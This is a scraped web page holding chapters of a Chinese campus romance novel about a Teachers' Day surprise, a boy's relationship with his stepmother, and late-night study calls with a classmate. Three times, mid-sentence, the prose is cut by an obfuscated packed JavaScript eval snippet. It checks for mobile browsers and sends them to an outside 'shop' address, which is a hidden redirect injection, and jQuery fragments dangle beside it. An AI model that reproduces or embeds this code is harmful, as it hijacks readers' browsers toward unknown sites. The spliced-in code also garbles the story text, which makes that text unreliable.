走廊上传来书缘标志性的小皮鞋声,像在敲打节拍。脚步声在门前戛然而止,往常这时候早该书声琅琅的教室,今天却安静得诡异。 语文老师眯起眼睛,小心地把门推开出一条缝,一群人围着前门。 叶萧云猛地拉响礼花筒,“嘭”的一声,漫天金粉飞舞,几片亮晶晶的彩片恰好落在书缘的裙摆上,她整个人像是被撒了一层星光。 “老师教师节快乐!!!”四十多个声音同时炸响,震得窗玻璃都在嗡嗡颤动。 书缘捂着胸口后退半步,眼睛瞪得圆圆的,随即笑出声来:“你们这群小鬼头!” 她低头看着裙子上闪闪发亮的亮片,又好笑又无奈:“这……谁来打扫?” 话音刚落,全班同学齐刷刷后退一步,只留下叶萧云孤零零站在原地,手里还举着空礼花筒,活像棵被雷劈中的树。 “喂!你们——” 哄笑声几乎要掀翻屋顶,连语文老师书缘都忍不住掩嘴轻笑。 叶萧云认命地抓起扫帚,嘴里碎碎念道:“行吧行吧,班长就是用来背锅的。” 收拾完,回了位置,开始早读。 不知道何时教室门口站着一个人。 楚婷阴沉着脸,手里攥着一张皱巴巴的扣分条,边角还沾着可疑的油渍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171946|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为语文老师也管1班的早读课,所以她去了一趟隔壁班,教室里没有老师。 楚婷走上讲台,把扣分单往讲台上一拍,目光直接锁定那几个扣分“常客”。 “12分啊!你们是把宿舍改造成网吧了?” 同学们安静如鸡,谁也不敢先开口,生怕惹这位大佬不高兴。 “算了,上着课。下课那12个同学,来我办公室喝茶。”楚婷特意在“喝茶”两个字上咬了重音。 李欣桐和李清依交换了个惊恐的眼神,悄悄把蛋糕往课桌深处推。 楚婷下了讲台,锐利的目光像探照灯般扫过众人。突然,她的脚步停在了那个微微突出的书柜前。 “这柜子怎么突出这么多?谁把它推那么出来的?” “哗啦!”一支礼炮从柜子后面滑了出来,在地上滚了几圈,停在楚婷脚下。 所有人的呼吸都停滞了。 楚婷弯腰捡起手拉礼炮说:“谁放的礼花?” 这剧情怎么和计划的不一样啊? 叶萧云疯狂对林宇舟做口型:计划B!快! 林宇舟回以绝望的眼神:我们特么哪有计划B?! 就在气氛凝固到极点时,李清依突然站了起身。她抿嘴偷笑,像只轻盈的猫儿般溜到楚婷身后,手里捧着那个藏了半天的蛋糕。 “婷~姐~”她拖长声调,声音甜得能滴出蜜来,“教师节快乐呀!” 楚婷闻声回头,还没看清来人,眼前就出现一整块蛋糕。她下意识眨了眨眼,冷峻的表情出现一丝裂痕。 “砰!砰!” 两道清脆的炸响同时迸发——林宇舟和叶萧云不知何时埋伏在讲台两侧,手中的礼炮喷出漫天彩带,亮片纷扬地落在楚婷的发梢跟肩头。 “老师教师节快乐!” 楚婷呆立在彩带雨中,瞳孔微微放大,嘴唇无意识地张开。 下一秒——孩子们如同破闸的潮水般涌了上来。 “老师这是我的贺卡!我画了好久呢!” “婷姐吃糖!是您最爱的荔枝味!” “还有我折的纸玫瑰……” 小小的礼物很快堆满她的臂弯。带着体温的贺卡蹭过她的手腕,廉价的塑料糖纸在灯光下折射出彩虹般的色彩…… 楚婷低下头,看到某张贺卡角落画着个哭鼻子的火柴人,旁边歪歪扭扭写着:“婷姐别感动哭啦”。 怀里沉甸甸的,暖暖的,全是爱。 “你们这群孩子……”她的喉头滚动了几下,声音像浸了水的棉花。 不知道她想到了什么,又笑出声来,眼尾泛起薄红:“真是的,吓我一跳!” 陈温送完礼物,歪着头笑:“婷姐,这就要掉金豆子啦?怎么样,这份惊喜够不够诚意?” 楚婷连忙用手背抹了下眼角,作势要敲他的额头:“感动归感动。”她板起张脸来,却藏不住上扬的嘴角,“但男生宿舍的扣分单还在我这儿呢!” “婷姐——”林宇舟一个跨步冲上前,双手合十作哀求状,“今天可是普天同庆的教师节!您看这满屋子的爱心……”他夸张地挥舞手臂指向四周的彩带,“能不能法外开恩啊?” “不行。”楚婷斩钉截铁。 李清依像只小狐狸似的凑近楚婷,压低声音说:“婷姐,这蛋糕可是沈泽许家米其林甜品师特制的哦,看看,都是你喜欢的。” “好哦,待会儿大家一起吃。”楚婷低头盯着怀里的礼物,拨弄鲜花上自己的q版形象,“真是的,你们是要给我‘惊喜’还是‘惊喜’啊。” “百分百纯惊喜!”林宇舟说着,试图用真诚的眼神打动楚婷。 “那扣分环节也是准备好的吗?” “……” “婷姐开心时刻,怎么能不记录下来呢?” “对对对,拍照拍照!” 走廊突然传来书缘疑惑的声音:“你们这是炸了厨房还是……” 话音未落,她就被叶萧云等人拽进人堆,怀里猝不及防被塞了个蛋糕。 李欣桐架好相机,道:“准备!” 陈温像只误入鹤群的麻雀,在人群外围转了两圈。 他踮起脚——前排被女生们占得严严实实,后排高个男生勾肩搭背堵成围墙,连讲台边缘都坐了人。 “沈哥,借个位置。”他小声说着,往沈泽许身边靠。 沈泽许往左挪了半步,腾出的空隙刚好够站一个人。 “咔嚓——” 闪光灯亮起的刹那,每个人的脸上都洋溢着最灿烂的笑容,连沈泽许的唇角破天荒地松动了些。 或许是因为楚婷发梢上摇摇欲坠的彩带,又或许是因为前面那个男生太过夸张的鬼脸。 楚婷站在人群中央,怀里抱满礼物,眼角还闪着未干的水光。 这是独属于他们的,“最完美”的教师节。 14. 晚自习 奶油甜香在空气中缓缓流动,像一缕温柔的丝带,缠绕在每个人的呼吸间。 陈温状似随意地靠在桌边,问面前的人:“沈哥,你……上晚自习吗?” “沈哥”这个称呼从他嘴里溜出来时,自己都愣了一下。 好像自从那个漫着黄油香气的午后,“沈泽许”三个字就悄悄变成了更亲昵的称谓。 如果可以的话,他更想叫…… 沈老师? 或者…… 哥哥? 窗外挤满看热闹的外班学生,有人起哄着“分我一块嘛”,嬉笑声像泡泡般此起彼伏。 沈泽许头都没抬。他握着蛋糕刀的姿势像在解剖标本,每一刀都精准得能当尺子用,切面平整得不可思议。 “嗯。”他将三角形的蛋糕放在纸碟上,递给眼巴巴等了半天的女生,才慢半拍似的补了句,“偶尔会上,怎么了?” “我有点想上晚自习。”陈温说。 沈泽许又切起蛋糕来,这次是带着完整草莓的蛋糕,他递给陈温,说:“那就上啊。” “可是……”陈温眼神亮晶晶地接过蛋糕,草莓的甜香钻进鼻腔,他忍住想流口水的冲动,说:“没有理由可以来吗?” 陈温迫不及待地用叉子舀了一口,奶油在舌尖化开,甜而不腻,确实好吃得不像话。 “想来就来。”沈泽许的声音很淡,“2班教室又不是不让进。” 随后他忽地笑出声。不是平时那种转瞬即逝的弧度,而是真正舒展的笑,让他整个人像冰雕忽然浸在了暖光里。 “我们这里,还能看见整个操场的落日。” 沈泽许倾身过来。陈温呼吸一滞。 只见男生伸手抹去了自己嘴角的奶油,动作自然得像拂去一片花瓣。 “现在你有两个理由了。” “有道理。”陈温点点头,似乎被说服了。 等等……自己怎么对沈泽许的小动作没啥反应了?他凑过来怎么这么自然? “看招——!” 一道黑影突然从两人中间窜出。 林宇舟手指蘸着奶油,以迅雷不及掩耳之势,“啪”地抹过陈温的鼻尖,又反手在沈泽许脸颊上划了道白痕。 “哈哈哈!”他蹦到三步开外,指着两人的脸,“年度最佳造型奖非你们莫属!” 陈温:“……” 沈泽许则是面无表情地抬手,手背蹭过脸颊的奶油,动作优雅得像在擦拭名贵瓷器。 “啧啧啧,”林宇舟压低声音,狐狸似的眯起眼,拇指与食指比出框形手势,说:“你俩刚才这个距离,很危险啊~鬼鬼祟祟的在干嘛?” “有病?”陈温抓起纸巾狠狠擦起脸,餐巾纸下他的耳根不受控地发烫,“我俩哪有鬼鬼祟祟。” “话说,”沈泽许忽然开口:“你们怎么一个晚上就扣了12分?这都可以让你们把《学生守则》抄成清明上河图了。” 林宇舟:“……” “哎,”他叹了口气,“别提了。昨晚有几个人在阳台背书,宿管大伯硬说我们在聊天。” 他被分散注意力,学着宿管粗声粗气的腔调:“大晚上的不睡觉,叽叽喳喳像群麻雀!我们解释了半天,他根本不听,一人一分。” 陈温咬下不知道是第几口的蛋糕,说:“我看你们是在宿舍用电磁炉煮火锅吧?” “天地良心!”林宇舟举起三根手指,“我们顶多……藏了几包泡面。”他声音压的极低,“婷姐让我们晚点去宿管处那儿卖个萌,搞不好能骗回两分……” “哈哈,你们加油吧。”陈温把剩下的蛋糕一口气吃完,状似随意地问,“对了,你们晚自习都做什么啊?” “还能干嘛?”林宇舟掰着手指数,“写作业、传纸条、偷吃零食——”他神秘兮兮地凑近,“偶尔还能蹭到老沈的押题秘籍。” 林宇舟轻撞了下陈温的肩膀:“怎么,你考虑好了?” 远处传来拖把砸地的闷响:“林!宇!舟!再偷懒就把你塞进垃圾桶里去!” “来了来了!我就是休息一下!”林宇舟应了一声,临走前重重拍了拍陈温的背,“你要是来晚自习,记得提前说一声,我给你留个名额!” 什么名额?陈温不懂。 但他笑着回应了一声“行”,目光追着林宇舟跑远的背影,直到那家伙手忙脚乱地撞翻扫帚堆。 一些女生三三两两分食着所剩不多的蛋糕,而部分男生们则忙着收拾满地的彩带和礼花纸屑。 沈泽许不知何时又切了块蛋糕递过来,是最后一块蛋糕,上面缀着颗完整的草莓。 他说:“再尝一个?” 陈温小心翼翼地问:“我只要上面的草莓可以吗?” “嗯。” 天边的云彩染上了些红晕,空旷的客厅,陈温靠着阳台的洗衣机。他点开“电话”,按下一个号码,举起手机附在耳边。 手机铃响了几声,就被接通了。 “喂,谁啊?”电话那头传来陈林峰略带醉意的声音,背景音里有酒杯碰撞与模糊的谈笑声。 “爸,我想去上晚自习。”陈温握着手机的指节不自觉地收紧。 “哈?你在家不行吗?”陈林峰的声音陡然拔高,“办申请很麻烦,我很忙的,哪有空搞啊……” 电话那头爆出一阵哄笑,有个尖锐的女声在喊:“陈经理,别躲酒啊。” “只要五分钟!”陈温闻言,急忙地说:“其他的我可以自己填,你只要……” “不行。”陈林峰严肃地皱起眉头:“当初不是你要求在家学习的吗?我这边还有客户,晚点再说。” “嘟嘟嘟——” 忙音像一盆冰水当头浇下。 陈温低头看着手机屏幕。 通话时长:01:05 “……” 与此同时,某高档会所的包间里,吊灯将陈林峰的影子拉得很长。 “怎么啦?”慕雪的声音从他身后传来,温温柔柔地融进包厢溢出的歌声里。 “没什么,”陈林峰松了松勒得太紧的领带,“陈温突然说,想要去上晚自习。” 慕雪的眼睛微微睁大,那是她听到有趣事情时特有的表情。她接过男人的西装外套,香水味若有若无地萦绕在两人之间。 “挺好的啊,你上个星期还不是好担心他总闷在家里吗?” “问题……是我忙啊,没空办这些乱七八糟的事。”陈林峰重重地坐回真皮沙发上,长呼出一口气,继续跟客户沟通。 而慕雪垂下睫毛,摆弄着手机,锁屏亮起的瞬间映出她若有所思的神情。 陈温刚洗完澡,毛巾松松垮垮地搭在湿发上,脸上没什么表情,余光见书桌上的手机亮了一下,他拿起来看。 「未读信息:阿姨」 点开对话框的瞬间,呼吸凝滞了。 图片加载完成,电子表格的签名栏里赫然是父亲龙飞凤舞的字迹。 可那收笔时微微上挑的弧度,分明是慕雪特有的笔锋。 「温馨提示:?」 「阿姨:语音8"」 陈温犹豫了几秒才点开语音。 慕雪的声音通过电流传来,比记忆中更轻柔让人放松,说出的话让陈温又激动又震惊。 “你爸忙,让阿姨帮忙办申请,怎么样?小温开心吗?” 她在后面跟着个微笑的emoji,黄色笑脸在屏幕上刺眼得扎人。 一滴水从发梢坠落,“啪”地砸在手机上。 电子表格在晕开的水渍里变得模糊,慕雪的微信头像——那朵向阳的向日葵,渐渐化开成记忆中那个火烧般的傍晚。 那是他第一次见到慕雪。 玄关的顶灯太亮,刺得他眼睛发酸。 陈林峰的手像铁钳般压在陈温肩上,说:“这位就是我之前提到的慕雪阿姨。陈温,叫‘妈妈’。” 陈温盯着眼前女人裙摆上的小雏菊印花,手指要把校服裤揪出深深的褶皱。 那年他七岁,他还记得白色被单下,再也不会摸他头的那只手。 葬礼上的黑伞连成一片海。 陈林峰握着他的手是那么的用力,像是要把两个人的疼痛捏碎在一起。 亲戚们说“会好的”,可没人告诉他,母亲廖淑琴最宝贝的那盆茉莉,会在一年后枯死在阳台上。 直到半年后的某个傍晚,“慕雪”这个名字开始频繁出现在饭桌上。 起初只是父亲接电话时含糊的称呼,后来变成西装领口陌生的香水味,最后变成玄关处多出的那双米色高跟鞋。 慕雪蹲下身来,橙花的香气扑面而来,和妈妈常用的柠檬沐浴露完全不同。 可当她伸手想摸他头发时,那颗缀在眼角的泪痣在灯光下一晃,像极了妈妈笑起来时眼角的小细纹。 “阿峰,那有那么快让人改口的啊。”慕雪说,“没事,陈温不想叫妈妈,叫阿姨也行,都一样的。” 慕雪将身后的人往前面边推,边说:“小雨出来,跟哥哥打个招呼。” 陈温这才注意到慕雪身后还藏着个瘦小的身影,男孩从阴影里磨蹭着走出来,卫衣帽子罩着半边脸,低头玩着手机。 他闷闷不乐道:“你好。” 那副有些抗拒的神情和陈温如出一辙。 搬家卡车发动的那天,惠城的老街浸在橘色的夕照里。 陈温站在门槛上,看门框上密密麻麻的划痕。 那些歪歪扭扭的线,都是陈林峰握着他的手一起划的。 它们用来记录陈温的身高。 “小温,都收拾好了吗?”慕雪的声音从身后传来。 “嗯,好了。”陈温回头最后看了眼空荡的客厅。 慕雪的掌心落在他的肩上,有广州寄来的搬家纸箱的气味。 “听说那边夜景很美,你会喜欢那里的……”她盯着陈温的眼睛,“别担心,我们还可以随时回来看看,如果你想的话。” 陈温下楼了,跳上车厢,看了一眼二楼阳台。 那里曾经有盆年年盛开的茉莉。 广州的天空比惠城高,鳞次栉比的高楼把云朵都衬得渺小。陈林峰的工作搬到那边,发展空间会更大,对陈家来说是件好事。 在慕雪的角度来看,陈温没说过任何怨言,像父母去外地工作,家里早熟的小孩。 两人婚礼那天,陈温坐在包厢的最角落的位置。转盘上的糖醋排骨冒着热气,是上周他随口提过的“妈妈的味道”。 慕雪的旗袍在灯光下泛着珍珠般的光泽,与父亲西装口袋里的方巾是同样的颜色。 没有婚纱,没有香槟塔,只有玻璃转盘上八道冒着热气的家常菜。 慕雪对他很好,好到连他自己都没察觉的小情绪,都能被她轻轻接住。 某个雨天的午后,陈温在广州那个家的储物间发现了一个牛皮纸盒。 掀开盒盖的瞬间,他身子微微发颤。 里面整整齐齐码着所有妈妈的照片,每一张都被仔细塑封,边角贴着淡黄色的便签: 「淑琴姐做的红烧肉秘方」 「小温最爱吃的西红柿炒蛋面」 「淑琴姐带小温去游乐园的照片— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171947|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —5月1日」 娟秀的字迹像一列温柔的哨兵,守卫着那些即将泛黄的记忆。 陈温突然明白过来,这个从来不说“取代”的女人,正用自己笨拙又细腻的方式,帮他把“妈妈”这个词,守护得完整无缺,但他始终没有喊出那个称呼…… 男生凝视着屏幕上那三朵鲜艳的玫瑰表情,拇指在“阿姨”这个称呼上摩挲,像是触碰一个温暖的秘密。 他打字道: 「谢谢阿姨,我很开心。」 发送键按下,他仰面倒在床上,想起几年前初到广州的夏夜。 慕雪怕他认生,特意为他挂上星星灯,用来分散他的注意力。 那些星星曾在无数个夜晚,陪他度过想家的时刻。 手机又亮了起来: 「阿姨:不要怪你爸,他是真的忙。」 「早点休息。明天记得给老师发表格。」 「玫瑰玫瑰玫瑰.jpg」 陈温嘴角不自觉地上扬,回复道: 「嗯,我没有怪他。」 「阿姨也早点休息,晚安。」 闭上眼睛,窗外的蝉鸣和湿润的夜风一起涌进来,陈温在心里轻轻说了句:“谢谢。” 他又点开另一个聊天框。 「温馨提示:在吗?企鹅探头.jpg」 消息刚发出去,对话框上方就跳出“对方正在输入……”的提示。 陈温把手机贴在胸口,心跳声大得吓人, 他想第一时间跟沈泽许分享这个好消息。 「沈泽许:在,怎么了?」 「温馨提示:我能来上晚自习啦!!!熊猫翻滚.jpg」 「沈泽许:恭喜。」 盯着这个句号看了三秒,陈温总觉得沈泽许的反应怪怪的。 「温馨提示:你不对劲。」 「沈泽许:没有,写竞赛题呢。」 这行字怎么看怎么可疑。 陈温眯起眼睛,仿佛能透过屏幕看到某人故作镇定的脸。 他故意拖了20秒才回复: 「不信,拍照看看?」 对话框沉寂得让人心慌。 陈温退出微信,点开消消乐,胡乱划拉着,没一会,通知栏就蹦出一条提醒。 沈泽许发来了一张照片: 竞赛卷子只写了一半,笔随意地放在一边。最抢镜的是那只入镜的手,骨节分明的手指正悄悄比着“V”,在严肃的草稿纸上投下一个小兔子似的影子。 陈温噗嗤笑出声: 「好哇!沈大学霸!深夜偷偷内卷是吧?」 「大胆,不可饶恕,拖出去斩了!」 「沈泽许:微臣知错,怎样才能原谅小的?」 两人戏精上身的对话越来越搞笑,最后陈温在相册里挑了两道难题,发了出去。 「帮我看看这两题。」 视频通话突然弹了出来,陈温愣住三秒,才按下接听键。 画面亮起,他呼吸一滞。 沈泽许似乎刚洗过澡,发梢还滴着水,水珠顺着脖颈滑进松垮的居家T恤领口。 那副从未在校园露面的半框眼镜,此刻正架在他高挺的鼻梁上,暖黄的台灯光从左侧斜斜切来。 “沈哥——”陈温凑近镜头,湿漉漉的眼睛在屏幕里放大,“你戴眼镜好看到犯规哦。” 镜头那边的沈泽许猛地咳了两声,似乎被口水呛住,缓了会儿,他才说:“我平时不常戴,写题的时候会戴一下。” “哦——”陈温故意拉长了音调,“你在忙,我给你发信息,会不会太打扰你了。” “不打扰。”沈泽许低下头,抚平草稿纸上的褶皱,说:“你不是有问题要问吗?” 陈温把手机摄像头对准难题,指着其中一道:“这个,我卡在这了。” “这个的关键是要转换思路,你看这里……”沈泽许左手举着手机,镜头对准题干;右手钢笔在草稿纸上疾走,声音像春蚕啃食桑叶。 镜头拉近了些,沈泽许的手在稿纸上圈出一处公式。陈温怔怔地看着那截手腕,凸起的腕骨上的痣若隐若现,性感地飞舞。 “懂了吗?”沈泽许讲完,把镜头反了过来。 猝不及防的四目相对,陈温喉结不自觉地上下滚动:“再、再讲一遍……”他慌忙抓起笔,故意在本子上乱画,“刚才走神了。” 陈温也不知道自己为什么那么紧张,明明该紧张的是讲题的人才对。 “陈同学,”镜头里的沈泽许的脸被放大,镜片后的眼睛眯了起来,他点了点自己的脸颊,说:“你这里怎么红红的?” 陈温差点把手机摔了:“是灯光问题!”他欲盖弥彰地把台灯转了个方向,却听见视频那头传来低低的笑声。 沈泽许极耐心地又讲了一遍,讲解结束,他摘下眼镜揉了揉眉心,问:“还有问题吗?” “没了没了!”陈温躺回床上,抱起枕头滚了半圈,“沈老师辛苦啦~” 沈泽许轻咳一声,说:“那晚安吧,明早给你带豆浆。” “好。” 沈泽许真是个大好人! 有他当兄弟,这辈子值了! 电话挂断,陈温飞快地点开沈泽许的聊天框,将他的昵称“沈泽许”改为“大好人”,顺便给他置顶了。 陈温犹豫了会,又发了条消息出去: 「感谢同桌!」 对方很快回复: 「嗯。」 「晚安。小熊盖被.jpg」 陈温盯着那个从未见过的可爱表情包,点了添加收藏。 15. 我今天不写题 阳光很充足,白云飘,风吹地清爽。 陈温整张脸都埋在臂弯里,只露出小半截泛着青黑的眼下肌肤。 那是连续熬夜留下的勋章。 明天就是数学竞赛的日子了。 这几天晚上,他和沈泽许总是开着视频电话“互相监督学习”。 奇怪的是,明明两人都“战斗”到凌晨一两点,沈泽许永远是一副清冷淡定的模样,连一点点黑眼圈都没有。 昨晚打视频电话时,陈温用笔帽戳了戳屏幕上那人的脸。 “沈哥——你其实是机器人吧?”他指着自己镜子里浮肿的眼睛,“我们都熬了三天了,你怎么一点事都没有?” 沈泽许冷轻地回了句:“习惯了。” 陈温:“……” 这该死的习惯。 此刻,阳光暖洋洋地照在陈温背上,他睡得正香,嘴角还挂着一丝晶莹的水痕。 “嗒、嗒、嗒——” 脚步声由远及近。 数学老师胡春涛抱着一叠资料走进教室,目光如雷达般扫视一圈,最终锁定了趴在桌上的陈温。 “陈温!” 这一声吼得陈温差点从椅子上弹了起来,他抬起头,茫然地环顾四周,脸上还有校服褶皱压出的红印。 “啊?怎么了?” “怎么了?”胡春涛把资料重重拍在桌上,“明天就要竞赛了,你还有心思睡觉?” 陈温揉了揉惺忪的睡眼,露出一个讨好的笑容:“老师,我这不是在养精蓄锐嘛……” “养精蓄锐?”胡春涛挑眉,“我看你是想临阵脱逃吧?” “怎么可能!”陈温瞬间挺直腰板,“我准备得可充分了!” 胡春涛轻哼一声,把资料分发给三人:“这是最新的模拟题,你们抓紧时间做一下,下午我要检查。” “啊?又要做题?”陈温哀嚎着接过试卷,整个人像泄了气的皮球瘫在桌上。 “不然呢?”胡春涛瞪了他一眼,侧头时,老师看了眼沈泽许,脸上的表情柔和了许多:“泽许,这套题最后两道比较难,你重点看看。” 沈泽许点头:“好的,老师。” 陈温撇撇嘴,小声嘀咕:“敬业姐,区别对待……” 这位被学生们私下称为“敬业姐”的老师,教学风格独树一帜。从来不用课本,直接拿着练习册开讲,第二节课就考试,效率高得吓人,但成绩确实能提升几分。 阳光依旧温暖,但陈温睡意早已消散。 他抓了抓乱糟糟的头发,认命地执笔,在试卷上写下自己的名字。 余光里,沈泽许已经进入状态,握着钢笔,在纸上流畅书写着。 陈温这几天熬夜啃完了他没提前学过的所有知识点,连课本的边角都被他翻得卷了起来。 虽然黑眼圈深得能跟熊猫称兄道弟,但心里有着一种说不出的成就感。 他抱怨道:“又要做题了,好烦啊。” “加油。”身旁的沈泽许头也不抬,声音淡得像白开水:“这不是还有我吗?” 陈温把脸贴在课桌上,说:“我家没油啊,沈哥要不,你帮我把题也给写了吧?” “不能。” 陈温:“……无情。” 教室里弥漫着昏沉的睡意,只有胡春涛的讲课声像机关枪一样“突突突”地响个不停。 “这道题很简单的,这样是这里……” 粉笔在黑板上疯狂跳动,留下一串串令人眼花缭乱的公式,粉笔灰像雪花一样飘落。 陈温昨天很晚睡,现在脑袋活像装了磁铁,一个劲儿地往桌面上坠。 他强撑着在本子上做笔记,结果写出来的公式像蚯蚓爬过一样歪歪扭扭。眼皮重得像是灌了铅,眼前的数字开始跳起了踢踏舞。 班上不少同学已经撑不住了,脑袋一点一点的,随时会栽到桌子上。 有些同学则是直接放弃了听课,埋头刷题。他们的练习册上密密麻麻地写满了字,仿佛在和胡春涛的讲课速度赛跑。 “别睡着了。”沈泽许的声音像一盆冷水浇下来,吓得陈温一个激灵,差点把笔给甩掉。 “我没睡……”陈温嘴硬道,顺手擦掉嘴角可疑的水渍。 沈泽许毫不留情地揭穿他:“你刚才头都快碰到桌子了。” “我那是在思考!” “咚”的一声,前排有个同学终于支撑不住,脑门重重磕在了桌面上。胡春涛的粉笔应声而断,全班同学清醒大半。 “看来我需要调整一下教学节奏。”胡春涛推了推眼镜,镜片闪过一道寒光:“课代表去办公室,帮我拿桌上的那叠试卷,我们进行——随堂测验。” 教室里顿时哀鸿遍野。 陈温绝望地看向沈泽许,后者淡定地从书包里掏出三支备用钢笔,整齐地摆在桌上,像在进行某种庄严的仪式。 下课铃终于响起,整个教室如同解冻般活了过来。 “终于解放了!”前排男生夸张地伸了个懒腰,脖子发出“咔咔”的声响。 “我感觉脑细胞死了一半……”他的同桌有气无力地趴在桌上,活像条脱水的鱼。 陈温也瘫在椅子上,抬头对天花板喃喃:“敬业姐,太恐怖了!” 沈泽许已经把老师发的那张试卷,写得七七八八了,撇过头就见陈温生无可恋的样子。可能是被他这副模样给逗乐了,嘴角莫名上扬。 “敬业姐”是同学们给胡春涛起的外号。老师本人也知道这个外号,偶尔还会自嘲两句。班里关系好的老师几乎都有外号,大多带着亲切和调侃。 除了一个人。 “哎呦,大家拿出课本,我们来上课!” 说曹操曹操就到。 熊丽踩着高跟鞋走进教室,香水味依旧浓得让人头晕。不是说这香味有多难闻,而是实在太浓了,浓得刺鼻。 “刚下课啊!”有人小声抱怨,语气里却是满不情愿。 胡春涛看见熊丽进来,立刻抱起教案,头也不回地快步离开了教室。 她曾提到这节课本是英语课,熊丽想连堂考试,便来找她换课。 胡春涛没同意,结果熊丽当场就发飙了。 熊丽具体说了什么,胡春涛没讲,但从她当时铁青的脸色来看,指定不是什么好话。 “报告!”一个女生慌张地站在教室门口,手里还拿着水杯。 此时的熊丽已经讲了小半节课了。 女人眉头一皱:“都上课多久了,你人呢?” 女生局促地捏着衣角:“老师,我刚去打水了。” “打水?”熊丽把课本往讲台上一摔,“上课时间打什么水?” 林宇舟“腾”地站起来:“老师,刚才数学课拖堂了,而且现在还是下课时间。” “拖堂是拖堂了,”熊丽冷笑一声,没逻辑地说:“你们不知道提前做好准备吗?” “……” 时间过得很快,放学铃声刚响,校园被按下了启动键,热闹起来。 内宿生们小跑着冲向宿舍,外宿生们则三三两两晃向食堂,脚步悠闲得像在散步。 “沈哥,你今天上晚自习吗?” 陈温的晚自习申请很快就通过了,他用笔帽戳沈泽许的手臂。 “嗯。”沈泽许合上书本,动作利落地把文具收进笔袋。 “那我们一起吃饭吗?”陈温期待得眨眼,像只等待投喂的小动物。 “好。” 食堂里的人不多,打饭阿姨甚至有空给陈温多舀了勺红烧肉。他们选了靠窗的位置,食堂的空调没开,闷热的空气环绕在其中。 他们一坐下,就遇见到了“老熟人”。 上次那群乱扔餐盘的男生。 那群人也发现了沈泽许和陈温,他们眼神躲闪,本来想在两人旁边那一桌坐下,却是默默挪到了离他们最远的角落。 陈温跟沈泽许就抬头瞥了一眼,没多管,安静地吃完晚饭。 恰好,那群人也用完餐。 不过这次,他们没有像上次那样随手丢弃餐盘,而是老老实实地把餐具分类放好,连桌面都用纸巾擦得干干净净。 陈温把餐盘放进收拾箱,头朝他们那边点了点:“沈哥,你看。” 沈泽许头也不抬:“怎么了?” 陈温开玩笑道:“他们跟老鼠遇见猫一样。” 两人返回教室时,夕阳已经沉落大半,晚自习时间也到了。 因为中秋节快到的缘故,楚婷带了些客人送的月饼过来,每个切成四块分给班上的人。 等同学们吃得差不多了,楚婷站起身。 “好啦,都给我安静地写作业哦!我先回去了。”她收拾好教案,拎着粉色包包,笑眯眯地离开教室。 人影消失在窗户,叶萧云便跳起来,用不大不小的声音说:“行动!” 本该安静的教室瞬间活了过来。 有人一个箭步拉上窗帘,有的鬼鬼祟祟锁上前门,还有人站在走廊上望风。 确认走廊上彻底没人后,林宇舟变魔术似的从教室后排的储物柜抱出个大西瓜,“咚”地砸在讲台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171948|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这是……”陈温的疑问还没说完,就见绰号为“六哥”的男生挽起袖子,大喝一声,手起掌落。 “啪!” 西瓜应声裂成两半,红瓤黑籽,汁水四溅。 “好手!好手!” 周围响起一片掌声,而六哥面无表情,一点都不疼的样子。 林宇舟将弄好的西瓜递到陈温两人面前。 “快吃,值班老师下节课才来。” 陈温捧着西瓜目瞪口呆:“这西瓜哪来的?” “这个你就不需要知道了。”叶萧云神秘兮兮地竖起食指,“嘘”了一声。 陈温:“……” 西瓜的清甜在舌尖绽开,汁水顺着指缝滑落。九月的广东依然闷热,清爽的西瓜成了除了空调的唯一救赎。 这一口甜西瓜一口月饼,高中生活总算有点盼头。 陈温边啃西瓜边无聊环顾四周。 林宇舟的同桌不上晚自习,叶萧云不知何时溜到了沈泽许的前排,正以每秒十字的速度狂抄作业。 陈温用西瓜皮指向后排的位置,说:“叶萧云,我记得你不是坐这里的吧?” “格局打开,”叶萧云头也不抬,“教室是我家,爱护靠大家。” “?”陈温被语塞道:“有什么关联吗?” 闻言,林宇舟从作业堆里探出头来:“他就是想抄我的作业。” “这叫学术交流!”叶萧云振振有词,笔尖都快擦出火星子。 陈温默默收回视线,右侧传来几声轻笑。 李欣桐和李清依两人正分享着同一块西瓜。 可能是之前没有注意到,李清依的书包上突然出现了一个玻璃风铃的挂件,随着空调风轻晃,发出很小的“叮当”声。 陈温的目光最终落在同桌身上,沈泽许面前的西瓜完好如初放在桌面边缘,似没胃口。 他问:“你不吃吗?” “嗯。”沈泽许今天戴了那副半框眼镜,他推了推说:“你要吗?” 陈温来得及回答那句“不用了”,前排两颗脑袋就“唰”地转过来。 “我要!” “我也要!” 林宇舟和叶萧云同时伸手,差点撞翻桌子。 